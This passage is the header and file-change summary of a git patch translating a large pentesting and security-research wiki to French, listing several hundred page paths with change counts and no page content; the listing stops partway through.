From af42105553bf3ff625e96d6a27d969f3327ead73 Mon Sep 17 00:00:00 2001 From: Translator workflow Date: Sat, 3 Jun 2023 13:10:46 +0000 Subject: [PATCH] Translated to French --- 1911-pentesting-fox.md | 26 +- 6881-udp-pentesting-bittorrent.md | 33 +- LICENSE.md | 190 +- README.md | 110 +- .../BIM_Bruteforcer.md | 49 +- .../Basic_Bruteforcer.md | 52 +- .../Hybrid_Malware_Classifier_Part_1.md | 49 +- .../bra.i.nsmasher-presentation/README.md | 58 +- .../basic-bruteforcer.md | 52 +- .../basic-captcha-breaker.md | 44 +- .../bim-bruteforcer.md | 51 +- .../hybrid-malware-classifier-part-1.md | 44 +- .../ml-basics/README.md | 33 +- .../ml-basics/feature-engineering.md | 185 +- android-forensics.md | 52 +- backdoors/empire.md | 33 +- backdoors/icmpsh.md | 46 +- backdoors/merlin.md | 224 +- backdoors/salseo.md | 132 +- .../README.md | 309 +- burp-suite.md | 45 +- c2/cobalt-strike.md | 221 +- ...d-elearnsecurity-certifications-reviews.md | 111 +- cryptography/certificates.md | 235 +- .../cipher-block-chaining-cbc-mac-priv.md | 75 +- cryptography/crypto-ctfs-tricks.md | 189 +- cryptography/electronic-code-book-ecb.md | 99 +- cryptography/hash-length-extension-attack.md | 78 +- cryptography/padding-oracle-priv.md | 108 +- cryptography/rc4-encrypt-and-decrypt.md | 35 +- ctf-write-ups/README.md | 36 +- ctf-write-ups/challenge-0521.intigriti.io.md | 98 +- ctf-write-ups/try-hack-me/README.md | 33 +- .../try-hack-me/hc0n-christmas-ctf-2019.md | 42 +- ctf-write-ups/try-hack-me/pickle-rick.md | 56 +- emails-vulns.md | 26 +- .../linux-exploiting-basic-esp/README.md | 830 +- .../bypassing-canary-and-pie.md | 87 +- .../format-strings-template.md | 29 +- .../linux-exploiting-basic-esp/fusion.md | 75 +- .../linux-exploiting-basic-esp/ret2lib.md | 72 +- .../rop-leaking-libc-address/README.md | 199 +- .../rop-leaking-libc-template.md | 47 +- .../rop-syscall-execv.md | 174 +- exploiting/tools/README.md | 211 +- exploiting/tools/pwntools.md | 160 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 168 +- .../basic-forensic-methodology/README.md | 52 +- .../anti-forensic-techniques.md | 180 +- .../docker-forensics.md | 94 +- .../file-integrity-monitoring.md | 48 +- .../linux-forensics.md | 337 +- .../malware-analysis.md | 111 +- .../memory-dump-analysis/README.md | 56 +- .../partitions-file-systems-carving/README.md | 273 +- .../partitions-file-systems-carving/ext.md | 303 +- .../file-data-carving-recovery-tools.md | 92 +- .../file-data-carving-tools.md | 68 +- .../partitions-file-systems-carving/ntfs.md | 216 +- .../pcap-inspection/README.md | 143 +- .../pcap-inspection/dnscat-exfiltration.md | 32 +- .../usb-keyboard-pcap-analysis.md | 39 +- .../pcap-inspection/usb-keystrokes.md | 41 +- .../pcap-inspection/wifi-pcap-analysis.md | 48 +- .../pcap-inspection/wireshark-tricks.md | 114 +- .../.pyc.md | 114 +- .../README.md | 33 +- .../browser-artifacts.md | 315 +- .../desofuscation-vbs-cscript.exe.md | 47 +- .../local-cloud-storage.md | 128 +- .../office-file-analysis.md | 48 +- .../pdf-file-analysis.md | 52 +- .../png-tricks.md | 35 +- .../video-and-audio-file-analysis.md | 51 +- .../zips-tricks.md | 44 +- .../windows-forensics/README.md | 490 +- .../interesting-windows-registry-keys.md | 202 +- .../windows-forensics/windows-processes.md | 134 +- .../image-acquisition-and-mount.md | 88 +- .../volatility-cheatsheet.md | 10133 +++++++++++++++- .../suricata-and-iptables-cheatsheet.md | 120 +- .../brute-force.md | 558 +- .../exfiltration.md | 374 +- .../external-recon-methodology/README.md | 533 +- .../github-leaked-secrets.md | 30 +- .../wide-source-code-search.md | 38 +- .../pentesting-methodology.md | 174 +- .../pentesting-network/README.md | 558 +- .../pentesting-network/dhcpv6.md | 89 +- .../pentesting-network/eigrp-attacks.md | 174 +- .../glbp-and-hsrp-attacks.md | 244 +- .../pentesting-network/ids-evasion.md | 72 +- .../lateral-vlan-segmentation-bypass.md | 62 +- .../network-protocols-explained-esp.md | 137 +- .../pentesting-network/nmap-summary-esp.md | 276 +- .../pentesting-network/pentesting-ipv6.md | 108 +- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 200 +- .../spoofing-ssdp-and-upnp-devices.md | 168 +- .../pentesting-wifi/README.md | 611 +- .../pentesting-wifi/evil-twin-eap-tls.md | 148 +- .../phishing-methodology/README.md | 340 +- .../phishing-methodology/clone-a-website.md | 60 +- .../phishing-methodology/detecting-phising.md | 98 +- .../phishing-documents.md | 90 +- .../python/README.md | 42 +- .../python/basic-python.md | 194 +- .../python/bruteforce-hash-few-chars.md | 29 +- .../python/bypass-python-sandboxes/README.md | 485 +- .../load_name-load_const-opcode-oob-read.md | 94 +- .../output-searching-python-internals.md | 66 +- ...s-pollution-pythons-prototype-pollution.md | 98 +- .../python/pyscript.md | 64 +- .../python/venv.md | 31 +- .../python/web-requests.md | 37 +- .../search-exploits.md | 51 +- .../shells/README.md | 36 +- .../shells/full-ttys.md | 54 +- .../shells/linux.md | 152 +- .../shells/msfvenom.md | 199 +- .../shells/windows.md | 450 +- .../tunneling-and-port-forwarding.md | 445 +- interesting-http.md | 55 +- .../bypass-linux-shell-restrictions/ddexec.md | 80 +- linux-hardening/freeipa-pentesting.md | 218 +- .../linux-environment-variables.md | 130 +- .../linux-post-exploitation/README.md | 92 +- .../pam-pluggable-authentication-modules.md | 80 +- .../linux-privilege-escalation-checklist.md | 182 +- .../privilege-escalation/README.md | 1058 +- .../privilege-escalation/cisco-vmanage.md | 66 +- .../containerd-ctr-privilege-escalation.md | 46 +- ...-command-injection-privilege-escalation.md | 172 +- .../docker-security/README.md | 311 +- ...-docker-socket-for-privilege-escalation.md | 56 +- .../docker-security/apparmor.md | 222 +- ...uthn-docker-access-authorization-plugin.md | 154 +- .../docker-security/cgroups.md | 88 +- .../README.md | 444 +- .../docker-release_agent-cgroups-escape.md | 56 +- ...se_agent-exploit-relative-paths-to-pids.md | 82 +- .../sensitive-mounts.md | 107 +- .../docker-security/docker-privileged.md | 123 +- .../docker-security/namespaces/README.md | 38 +- .../namespaces/cgroup-namespace.md | 84 +- .../namespaces/ipc-namespace.md | 82 +- .../namespaces/mount-namespace.md | 92 +- .../namespaces/network-namespace.md | 82 +- .../namespaces/pid-namespace.md | 90 +- .../namespaces/time-namespace.md | 72 +- .../namespaces/user-namespace.md | 108 +- .../namespaces/uts-namespace.md | 82 +- .../docker-security/seccomp.md | 82 +- .../docker-security/weaponizing-distroless.md | 50 +- .../electron-cef-chromium-debugger-abuse.md | 124 +- .../escaping-from-limited-bash.md | 250 +- .../privilege-escalation/euid-ruid-suid.md | 164 +- .../interesting-groups-linux-pe/README.md | 144 +- .../lxd-privilege-escalation.md | 66 +- .../ld.so.conf-example.md | 157 +- .../linux-active-directory.md | 88 +- .../linux-capabilities.md | 685 +- .../privilege-escalation/logstash.md | 62 +- .../nfs-no_root_squash-misconfiguration-pe.md | 99 +- .../payloads-to-execute.md | 133 +- .../runc-privilege-escalation.md | 38 +- .../privilege-escalation/selinux.md | 50 +- .../socket-command-injection.md | 45 +- .../splunk-lpe-and-persistence.md | 177 +- .../ssh-forward-agent-exploitation.md | 139 +- .../wildcards-spare-tricks.md | 67 +- .../privilege-escalation/write-to-root.md | 34 +- .../useful-linux-commands/README.md | 182 +- .../bypass-bash-restrictions.md | 234 +- linux-unix/privilege-escalation/apparmor.md | 208 +- .../privilege-escalation/docker-breakout.md | 292 +- .../escaping-from-a-docker-container.md | 175 +- .../privilege-escalation/exploiting-yum.md | 61 +- .../interesting-groups-linux-pe.md | 128 +- .../lxd-privilege-escalation.md | 72 +- linux-unix/privilege-escalation/seccomp.md | 80 +- macos-hardening/macos-auto-start-locations.md | 233 +- .../README.md | 106 +- .../mac-os-architecture/README.md | 78 +- .../macos-function-hooking.md | 101 +- .../README.md | 379 +- .../macos-pid-reuse.md | 47 +- .../macos-xpc-authorization.md | 82 +- .../macos-xpc-connecting-process-check.md | 60 +- .../macos-kernel-extensions.md | 64 +- .../macos-applefs.md | 56 +- .../README.md | 240 +- .../arm64-basic-assembly.md | 151 +- .../macos-basic-objective-c.md | 114 +- ...yld-hijacking-and-dyld_insert_libraries.md | 76 +- .../macos-file-extension-apps.md | 36 +- .../README.md | 186 +- .../macos-bundles.md | 54 +- .../macos-memory-dumping.md | 50 +- .../macos-sensitive-locations.md | 126 +- .../universal-binaries-and-mach-o-format.md | 202 +- .../macos-mdm/README.md | 220 +- ...nrolling-devices-in-other-organisations.md | 245 +- .../macos-mdm/macos-serial-number.md | 136 +- .../macos-proces-abuse/README.md | 38 +- .../macos-library-injection/README.md | 150 +- .../macos-protocols.md | 80 +- .../macos-red-teaming.md | 82 +- .../macos-security-protections/README.md | 134 +- .../macos-sandbox/README.md | 654 +- .../macos-sandbox-debug-and-bypass.md | 238 +- .../macos-security-protections/macos-sip.md | 116 +- .../macos-tcc/README.md | 172 +- .../macos-tcc/macos-apple-scripts.md | 46 +- .../macos-users.md | 42 +- macos-hardening/macos-useful-commands.md | 38 +- misc/references.md | 32 +- .../android-app-pentesting/README.md | 732 +- .../android-app-pentesting/adb-commands.md | 397 +- .../android-applications-basics.md | 442 +- .../android-burp-suite-settings.md | 79 +- .../android-task-hijacking.md | 94 +- .../android-app-pentesting/apk-decompilers.md | 114 +- .../avd-android-virtual-device.md | 158 +- ...bypass-biometric-authentication-android.md | 40 +- .../content-protocol.md | 70 +- .../drozer-tutorial/README.md | 207 +- .../exploiting-content-providers.md | 125 +- .../exploiting-a-debuggeable-applciation.md | 227 +- .../frida-tutorial/README.md | 250 +- .../frida-tutorial/frida-tutorial-1.md | 80 +- .../frida-tutorial/frida-tutorial-2.md | 72 +- .../frida-tutorial/objection-tutorial.md | 220 +- .../frida-tutorial/owaspuncrackable-1.md | 45 +- .../google-ctf-2018-shall-we-play-a-game.md | 64 +- .../inspeckage-tutorial.md | 68 +- .../intent-injection.md | 192 +- .../make-apk-accept-ca-certificate.md | 48 +- .../manual-deobfuscation.md | 109 +- .../react-native-application.md | 62 +- .../reversing-native-libraries.md | 316 +- .../android-app-pentesting/smali-changes.md | 138 +- .../spoofing-your-location-in-play-store.md | 50 +- .../android-app-pentesting/webview-attacks.md | 153 +- mobile-pentesting/android-checklist.md | 112 +- mobile-pentesting/ios-pentesting-checklist.md | 137 +- mobile-pentesting/ios-pentesting/README.md | 738 +- .../basic-ios-testing-operations.md | 288 +- .../burp-configuration-for-ios.md | 126 +- ...-entitlements-from-compiled-application.md | 59 +- .../frida-configuration-in-ios.md | 44 +- .../ios-pentesting/ios-app-extensions.md | 138 +- .../ios-pentesting/ios-basics.md | 198 +- ...m-uri-handlers-deeplinks-custom-schemes.md | 116 +- .../ios-hooking-with-objection.md | 264 +- .../ios-pentesting/ios-protocol-handlers.md | 43 +- .../ios-serialisation-and-encoding.md | 78 +- .../ios-pentesting/ios-testing-environment.md | 168 +- .../ios-pentesting/ios-uiactivity-sharing.md | 113 +- .../ios-pentesting/ios-uipasteboard.md | 88 +- .../ios-pentesting/ios-universal-links.md | 74 +- .../ios-pentesting/ios-webviews.md | 218 +- ...0-network-data-management-protocol-ndmp.md | 84 +- .../1026-pentesting-rusersd.md | 40 +- .../1080-pentesting-socks.md | 70 +- .../1099-pentesting-java-rmi.md | 117 +- .../11211-memcache/README.md | 244 +- .../11211-memcache/memcache-commands.md | 259 +- .../113-pentesting-ident.md | 61 +- .../135-pentesting-msrpc.md | 112 +- .../137-138-139-pentesting-netbios.md | 70 +- .../README.md | 230 +- ...le-pentesting-requirements-installation.md | 74 +- .../oracle-rce-and-more.md | 132 +- .../remote-stealth-pass-brute-force.md | 62 +- .../tns-poison.md | 52 +- .../15672-pentesting-rabbitmq-management.md | 52 +- .../1723-pentesting-pptp.md | 32 +- .../1883-pentesting-mqtt-mosquitto.md | 78 +- .../2375-pentesting-docker.md | 171 +- ...-24008-24009-49152-pentesting-glusterfs.md | 48 +- .../27017-27018-mongodb.md | 100 +- .../3128-pentesting-squid.md | 52 +- .../3260-pentesting-iscsi.md | 94 +- .../3299-pentesting-saprouter.md | 152 +- .../3632-pentesting-distcc.md | 49 +- .../3690-pentesting-subversion-svn-server.md | 50 +- .../3702-udp-pentesting-ws-discovery.md | 46 +- .../43-pentesting-whois.md | 47 +- ...ntesting-erlang-port-mapper-daemon-epmd.md | 75 +- .../44134-pentesting-tiller-helm.md | 103 +- .../44818-ethernetip.md | 80 +- .../47808-udp-bacnet.md | 57 +- .../4786-cisco-smart-install.md | 54 +- .../49-pentesting-tacacs+.md | 64 +- .../5000-pentesting-docker-registry.md | 127 +- ...060-50070-50075-50090-pentesting-hadoop.md | 60 +- .../512-pentesting-rexec.md | 36 +- .../515-pentesting-line-printer-daemon-lpd.md | 41 +- .../5353-udp-multicast-dns-mdns.md | 84 +- .../5439-pentesting-redshift.md | 32 +- .../554-8554-pentesting-rtsp.md | 92 +- .../5555-android-debug-bridge.md | 52 +- .../5601-pentesting-kibana.md | 64 +- .../5671-5672-pentesting-amqp.md | 84 +- .../584-pentesting-afp.md | 52 +- .../5984-pentesting-couchdb.md | 242 +- .../5985-5986-pentesting-omi.md | 44 +- .../5985-5986-pentesting-winrm.md | 164 +- .../6000-pentesting-x11.md | 132 +- network-services-pentesting/623-udp-ipmi.md | 134 +- .../6379-pentesting-redis.md | 220 +- network-services-pentesting/69-udp-tftp.md | 54 +- .../7-tcp-udp-pentesting-echo.md | 75 +- ...09-pentesting-apache-jserv-protocol-ajp.md | 98 +- .../8086-pentesting-influxdb.md | 91 +- network-services-pentesting/8089-splunkd.md | 92 +- ...33-18333-38333-18444-pentesting-bitcoin.md | 44 +- .../873-pentesting-rsync.md | 86 +- .../9000-pentesting-fastcgi.md | 36 +- .../9001-pentesting-hsqldb.md | 86 +- network-services-pentesting/9100-pjl.md | 57 +- .../9200-pentesting-elasticsearch.md | 132 +- network-services-pentesting/cassandra.md | 52 +- .../ipsec-ike-vpn-pentesting.md | 209 +- .../nfs-service-pentesting.md | 152 +- .../pentesting-264-check-point-firewall-1.md | 140 +- ...ting-631-internet-printing-protocol-ipp.md | 47 +- .../pentesting-compaq-hp-insight-manager.md | 36 +- network-services-pentesting/pentesting-dns.md | 283 +- .../pentesting-finger.md | 76 +- .../pentesting-ftp/README.md | 172 +- .../pentesting-ftp/ftp-bounce-attack.md | 50 +- .../ftp-bounce-download-2oftp-file.md | 140 +- .../pentesting-imap.md | 96 +- network-services-pentesting/pentesting-irc.md | 68 +- ...entesting-jdwp-java-debug-wire-protocol.md | 152 +- .../pentesting-kerberos-88/README.md | 42 +- .../harvesting-tickets-from-linux.md | 50 +- .../harvesting-tickets-from-windows.md | 28 +- .../pentesting-ldap.md | 218 +- .../pentesting-modbus.md | 96 +- .../README.md | 240 +- .../types-of-mssql-users.md | 54 +- .../pentesting-mysql.md | 436 +- network-services-pentesting/pentesting-ntp.md | 68 +- network-services-pentesting/pentesting-pop.md | 82 +- .../pentesting-postgresql.md | 366 +- .../pentesting-printers/README.md | 220 +- .../pentesting-printers/accounting-bypass.md | 82 +- .../pentesting-printers/buffer-overflows.md | 42 +- .../credentials-disclosure-brute-force.md | 56 +- .../cross-site-printing.md | 70 +- .../document-processing.md | 66 +- .../pentesting-printers/factory-defaults.md | 69 +- .../pentesting-printers/file-system-access.md | 57 +- .../pentesting-printers/firmware-updates.md | 139 +- .../pentesting-printers/memory-access.md | 40 +- .../pentesting-printers/physical-damage.md | 44 +- .../print-job-manipulation.md | 59 +- .../print-job-retention.md | 69 +- .../pentesting-printers/scanner-and-fax.md | 74 +- .../pentesting-printers/software-packages.md | 120 +- .../transmission-channel.md | 50 +- network-services-pentesting/pentesting-rdp.md | 110 +- .../pentesting-remote-gdbserver.md | 50 +- .../pentesting-rlogin.md | 40 +- .../pentesting-rpcbind.md | 82 +- network-services-pentesting/pentesting-rsh.md | 40 +- network-services-pentesting/pentesting-sap.md | 164 +- network-services-pentesting/pentesting-smb.md | 404 +- .../pentesting-smb/rpcclient-enumeration.md | 128 +- .../pentesting-smtp/README.md | 412 +- .../pentesting-smtp/smtp-commands.md | 60 +- .../pentesting-snmp/README.md | 208 +- .../pentesting-snmp/cisco-snmp.md | 60 +- .../pentesting-snmp/snmp-rce.md | 70 +- network-services-pentesting/pentesting-ssh.md | 259 +- .../pentesting-telnet.md | 120 +- network-services-pentesting/pentesting-vnc.md | 60 +- .../pentesting-voip/README.md | 404 +- .../basic-voip-protocols/README.md | 110 +- .../sip-session-initiation-protocol.md | 185 +- .../pentesting-web/403-and-401-bypasses.md | 113 +- .../pentesting-web/README.md | 348 +- .../aem-adobe-experience-cloud.md | 34 +- .../pentesting-web/apache.md | 64 +- .../artifactory-hacking-guide.md | 227 +- .../pentesting-web/bolt-cms.md | 42 +- .../pentesting-web/buckets/README.md | 36 +- .../buckets/firebase-database.md | 28 +- .../pentesting-web/cgi.md | 114 +- .../pentesting-web/code-review-tools.md | 203 +- .../pentesting-web/dotnetnuke-dnn.md | 46 +- .../pentesting-web/drupal.md | 136 +- .../pentesting-web/flask.md | 85 +- .../pentesting-web/git.md | 38 +- .../pentesting-web/golang.md | 46 +- .../pentesting-web/grafana.md | 34 +- .../pentesting-web/graphql.md | 235 +- .../pentesting-web/h2-java-sql-database.md | 42 +- .../iis-internet-information-services.md | 162 +- .../pentesting-web/imagemagick-security.md | 82 +- .../pentesting-web/jboss.md | 40 +- .../pentesting-web/jira.md | 36 +- .../pentesting-web/joomla.md | 90 +- .../pentesting-web/jsp.md | 32 +- .../pentesting-web/laravel.md | 54 +- .../pentesting-web/moodle.md | 107 +- .../pentesting-web/nginx.md | 171 +- .../pentesting-web/nodejs-express.md | 26 +- .../pentesting-web/php-tricks-esp/README.md | 267 +- ...object-creation-new-usd_get-a-usd_get-b.md | 100 +- .../pentesting-web/php-tricks-esp/php-ssrf.md | 36 +- .../README.md | 509 +- .../disable_functions-bypass-dl-function.md | 129 +- ...than-3.3.0-php-greater-than-5.4-exploit.md | 32 +- .../disable_functions-bypass-mod_cgi.md | 60 +- ...p-4-greater-than-4.2.0-php-5-pcntl_exec.md | 47 +- ..._functions-bypass-php-5.2-fopen-exploit.md | 32 +- ...p-5.2.3-win32std-ext-protections-bypass.md | 39 +- ...ons-bypass-php-5.2.4-and-5.2.5-php-curl.md | 32 +- ...e_functions-bypass-php-7.0-7.4-nix-only.md | 28 +- ...isable_functions-bypass-php-fpm-fastcgi.md | 88 +- ...s-bypass-php-less-than-5.2.9-on-windows.md | 58 +- ...perl-extension-safe_mode-bypass-exploit.md | 32 +- ...roc_open-and-custom-environment-exploit.md | 32 +- .../disable_functions-bypass-via-mem.md | 50 +- ...ons-php-5.2.4-ioncube-extension-exploit.md | 43 +- ...le_functions-php-5.x-shellshock-exploit.md | 32 +- .../pentesting-web/put-method-webdav.md | 142 +- .../pentesting-web/python.md | 30 +- .../pentesting-web/rocket-chat.md | 42 +- .../pentesting-web/special-http-headers.md | 184 +- .../pentesting-web/spring-actuators.md | 152 +- .../pentesting-web/symphony.md | 298 +- .../pentesting-web/tomcat.md | 144 +- .../tomcat/basic-tomcat-info.md | 66 +- .../pentesting-web/uncovering-cloudflare.md | 102 +- .../pentesting-web/vmware-esx-vcenter....md | 119 +- .../pentesting-web/waf-bypass.md | 67 +- .../pentesting-web/web-api-pentesting.md | 245 +- .../pentesting-web/werkzeug.md | 84 +- .../pentesting-web/wordpress.md | 297 +- .../README.md | 174 +- ...solation-rce-via-electron-internal-code.md | 50 +- .../electron-contextisolation-rce-via-ipc.md | 53 +- ...n-contextisolation-rce-via-preload-code.md | 60 +- online-platforms-with-api.md | 106 +- other-web-tricks.md | 48 +- pentesting-dns.md | 38 +- pentesting-web/2fa-bypass.md | 136 +- pentesting-web/abusing-hop-by-hop-headers.md | 74 +- pentesting-web/account-takeover.md | 72 +- pentesting-web/bypass-payment-process.md | 39 +- pentesting-web/cache-deception.md | 212 +- pentesting-web/captcha-bypass.md | 64 +- pentesting-web/clickjacking.md | 116 +- pentesting-web/client-side-path-traversal.md | 34 +- .../client-side-template-injection-csti.md | 70 +- pentesting-web/command-injection.md | 78 +- .../README.md | 418 +- ...ypass-self-+-unsafe-inline-with-iframes.md | 51 +- pentesting-web/cors-bypass.md | 304 +- pentesting-web/crlf-0d-0a.md | 164 +- .../cross-site-websocket-hijacking-cswsh.md | 124 +- .../csrf-cross-site-request-forgery.md | 299 +- ...ngling-markup-html-scriptless-injection.md | 208 +- pentesting-web/dependency-confusion.md | 60 +- pentesting-web/deserialization/README.md | 446 +- ...er-gadgets-expandedwrapper-and-json.net.md | 80 +- ...ialization-objectinputstream-readobject.md | 39 +- ...ploiting-__viewstate-knowing-the-secret.md | 214 +- .../exploiting-__viewstate-parameter.md | 170 +- ...ava-dns-deserialization-and-gadgetprobe.md | 114 +- ...va-jsf-viewstate-.faces-deserialization.md | 192 +- ...ava-transformers-to-rutime-exec-payload.md | 90 +- ...g-and-directory-interface-and-log4shell.md | 338 +- .../README.md | 250 +- .../client-side-prototype-pollution.md | 62 +- .../express-prototype-pollution-gadgets.md | 104 +- .../prototype-pollution-to-rce.md | 252 +- .../php-deserialization-+-autoload-classes.md | 68 +- .../python-yaml-deserialization.md | 72 +- pentesting-web/domain-subdomain-takeover.md | 185 +- pentesting-web/email-injections.md | 158 +- pentesting-web/file-inclusion/README.md | 452 +- ..._stream_prefer_studio-+-path-disclosure.md | 59 +- .../lfi2rce-via-eternal-waiting.md | 118 +- .../lfi2rce-via-nginx-temp-files.md | 96 +- .../file-inclusion/lfi2rce-via-php-filters.md | 64 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 51 +- .../lfi2rce-via-segmentation-fault.md | 34 +- .../lfi2rce-via-temp-file-uploads.md | 56 +- .../file-inclusion/phar-deserialization.md | 46 +- .../via-php_session_upload_progress.md | 42 +- pentesting-web/file-upload.md | 212 +- pentesting-web/file-upload/README.md | 266 +- .../pdf-upload-xxe-and-cors-bypass.md | 115 +- pentesting-web/formula-doc-latex-injection.md | 177 +- pentesting-web/h2c-smuggling.md | 108 +- pentesting-web/hacking-jwt-json-web-tokens.md | 206 +- pentesting-web/hacking-with-cookies/README.md | 278 +- .../hacking-with-cookies/cookie-bomb.md | 44 +- .../cookie-jar-overflow.md | 41 +- .../hacking-with-cookies/cookie-tossing.md | 77 +- .../http-connection-contamination.md | 48 +- .../http-connection-request-smuggling.md | 46 +- .../http-request-smuggling/README.md | 352 +- .../browser-http-request-smuggling.md | 226 +- .../request-smuggling-in-http-2-downgrades.md | 141 +- .../http-response-smuggling-desync.md | 145 +- pentesting-web/idor.md | 132 +- pentesting-web/integer-overflow.md | 51 +- pentesting-web/ldap-injection.md | 138 +- pentesting-web/login-bypass/README.md | 100 +- .../login-bypass/sql-login-bypass.md | 38 +- pentesting-web/nosql-injection.md | 202 +- pentesting-web/oauth-to-account-takeover.md | 224 +- ...-messages-to-leak-code-and-state-values.md | 474 +- pentesting-web/open-redirect.md | 110 +- pentesting-web/parameter-pollution.md | 76 +- pentesting-web/phone-number-injections.md | 28 +- .../pocs-and-polygloths-cheatsheet/README.md | 123 +- .../web-vulns-list.md | 24 +- .../postmessage-vulnerabilities/README.md | 136 +- ...blocking-main-page-to-steal-postmessage.md | 46 +- .../bypassing-sop-with-iframes-1.md | 52 +- .../bypassing-sop-with-iframes-2.md | 54 +- ...l-postmessage-modifying-iframe-location.md | 32 +- pentesting-web/race-condition.md | 76 +- pentesting-web/rate-limit-bypass.md | 59 +- .../registration-vulnerabilities.md | 194 +- ...ular-expression-denial-of-service-redos.md | 80 +- pentesting-web/reset-password.md | 252 +- pentesting-web/reverse-tab-nabbing.md | 95 +- pentesting-web/saml-attacks/README.md | 184 +- pentesting-web/saml-attacks/saml-basics.md | 152 +- ...inclusion-edge-side-inclusion-injection.md | 168 +- pentesting-web/sql-injection/README.md | 440 +- .../sql-injection/cypher-injection-neo4j.md | 294 +- .../sql-injection/ms-access-sql-injection.md | 168 +- .../sql-injection/mssql-injection.md | 198 +- .../sql-injection/mysql-injection/README.md | 108 +- .../mysql-injection/mysql-ssrf.md | 82 +- .../sql-injection/oracle-injection.md | 94 +- .../postgresql-injection/README.md | 82 +- .../big-binary-files-upload-postgresql.md | 101 +- .../dblink-lo_import-data-exfiltration.md | 96 +- ...and-ntlm-chanllenge-response-disclosure.md | 69 +- .../pl-pgsql-password-bruteforce.md | 54 +- .../rce-with-postgresql-extensions.md | 126 +- .../rce-with-postgresql-languages.md | 150 +- pentesting-web/sql-injection/sqlmap.md | 321 +- pentesting-web/sql-injection/sqlmap/README.md | 502 +- .../sqlmap/second-order-injection-sqlmap.md | 61 +- .../README.md | 226 +- .../cloud-ssrf.md | 215 +- .../ssrf-vulnerable-platforms.md | 392 +- .../url-format-bypass.md | 66 +- .../README.md | 657 +- .../el-expression-language.md | 154 +- .../jinja2-ssti.md | 164 +- pentesting-web/unicode-injection/README.md | 54 +- .../unicode-normalization.md | 84 +- pentesting-web/web-tool-wfuzz.md | 233 +- .../web-vulnerabilities-methodology/README.md | 158 +- .../browser-extensions.md | 44 +- pentesting-web/xpath-injection.md | 281 +- pentesting-web/xs-search.md | 996 +- .../connection-pool-by-destination-example.md | 38 +- .../xs-search/connection-pool-example.md | 60 +- .../cookie-bomb-+-onerror-xs-leak.md | 32 +- .../xs-search/css-injection/README.md | 185 +- .../css-injection/css-injection-code.md | 22 +- .../event-loop-blocking-+-lazy-images.md | 44 +- .../xs-search/javascript-execution-xs-leak.md | 28 +- .../performance.now-+-force-heavy-task.md | 32 +- .../xs-search/performance.now-example.md | 26 +- .../xs-search/url-max-length-client-side.md | 30 +- ...ble-stylesheet-languaje-transformations.md | 153 +- .../xss-cross-site-scripting/README.md | 725 +- .../abusing-service-workers.md | 88 +- .../chrome-cache-to-xss.md | 73 +- .../debugging-client-side-js.md | 42 +- .../dom-clobbering.md | 122 +- .../xss-cross-site-scripting/dom-invader.md | 98 +- .../xss-cross-site-scripting/dom-xss.md | 252 +- .../iframes-in-xss-and-csp.md | 96 +- .../other-js-tricks.md | 132 +- .../xss-cross-site-scripting/pdf-injection.md | 181 +- .../server-side-xss-dynamic-pdf.md | 96 +- .../some-same-origin-method-execution.md | 64 +- .../xss-cross-site-scripting/steal-info-js.md | 28 +- .../xss-in-markdown.md | 59 +- .../xss-cross-site-scripting/xss-tools.md | 56 +- .../xssi-cross-site-script-inclusion.md | 84 +- pentesting-web/xxe-xee-xml-external-entity.md | 471 +- .../escaping-from-gui-applications/README.md | 327 +- .../show-file-extensions.md | 117 +- physical-attacks/firmware-analysis/README.md | 390 +- .../firmware-analysis/bootloader-testing.md | 78 +- .../firmware-analysis/firmware-integrity.md | 79 +- physical-attacks/physical-attacks.md | 138 +- post-exploitation.md | 52 +- radio-hacking/README.md | 33 +- radio-hacking/low-power-wide-area-network.md | 36 +- .../pentesting-ble-bluetooth-low-energy.md | 54 +- radio-hacking/pentesting-rfid.md | 106 +- reversing/common-api-used-in-malware.md | 174 +- reversing/cryptographic-algorithms/README.md | 189 +- .../unpacking-binaries.md | 59 +- .../reversing-tools-basic-methods/README.md | 256 +- .../angr/README.md | 198 +- .../angr/angr-examples.md | 93 +- .../blobrunner.md | 32 +- .../cheat-engine.md | 182 +- .../satisfiability-modulo-theories-smt-z3.md | 68 +- reversing/reversing-tools/README.md | 174 +- reversing/reversing-tools/blobrunner.md | 32 +- reversing/word-macros.md | 48 +- ...itive-information-disclosure-from-a-web.md | 45 +- stego/esoteric-languages.md | 32 +- stego/stego-tricks.md | 208 +- todo/cookies-policy.md | 42 +- todo/hardware-hacking/README.md | 79 +- todo/hardware-hacking/i2c.md | 56 +- todo/hardware-hacking/jtag.md | 52 +- todo/hardware-hacking/radio.md | 183 +- todo/hardware-hacking/spi.md | 33 +- todo/hardware-hacking/uart.md | 76 +- todo/misc.md | 67 +- todo/more-tools.md | 133 +- .../radio-hacking/fissure-the-rf-framework.md | 184 +- todo/radio-hacking/flipper-zero/README.md | 42 +- .../flipper-zero/fz-125khz-rfid.md | 54 +- todo/radio-hacking/flipper-zero/fz-ibutton.md | 42 +- .../radio-hacking/flipper-zero/fz-infrared.md | 48 +- todo/radio-hacking/flipper-zero/fz-nfc.md | 82 +- todo/radio-hacking/flipper-zero/fz-sub-ghz.md | 115 +- todo/radio-hacking/ibutton.md | 46 +- todo/radio-hacking/infrared.md | 93 +- todo/radio-hacking/proxmark-3.md | 58 +- todo/radio-hacking/sub-ghz-rf.md | 100 +- todo/rust-basics.md | 68 +- todo/tr-069.md | 7 + welcome/about-the-author.md | 38 +- welcome/getting-started-in-hacking.md | 44 +- welcome/hacktricks-values-and-faq.md | 118 +- .../active-directory-methodology/README.md | 648 +- .../abusing-ad-mssql.md | 110 +- .../acl-persistence-abuse/README.md | 325 +- .../shadow-credentials.md | 112 +- .../ad-certificates.md | 232 +- .../ad-certificates/account-persistence.md | 76 +- .../ad-certificates/certificate-theft.md | 104 +- .../ad-certificates/domain-escalation.md | 469 +- .../ad-certificates/domain-persistence.md | 78 +- .../ad-dns-records.md | 30 +- .../ad-information-in-printers.md | 160 +- .../asreproast.md | 76 +- .../bloodhound.md | 134 +- .../constrained-delegation.md | 96 +- .../custom-ssp.md | 63 +- .../active-directory-methodology/dcshadow.md | 107 +- .../active-directory-methodology/dcsync.md | 90 +- .../diamond-ticket.md | 47 +- .../dsrm-credentials.md | 53 +- ...external-forest-domain-one-way-outbound.md | 66 +- .../external-forest-domain-oneway-inbound.md | 83 +- .../golden-ticket.md | 66 +- .../kerberoast.md | 113 +- .../kerberos-authentication.md | 246 +- .../kerberos-double-hop-problem.md | 114 +- .../active-directory-methodology/laps.md | 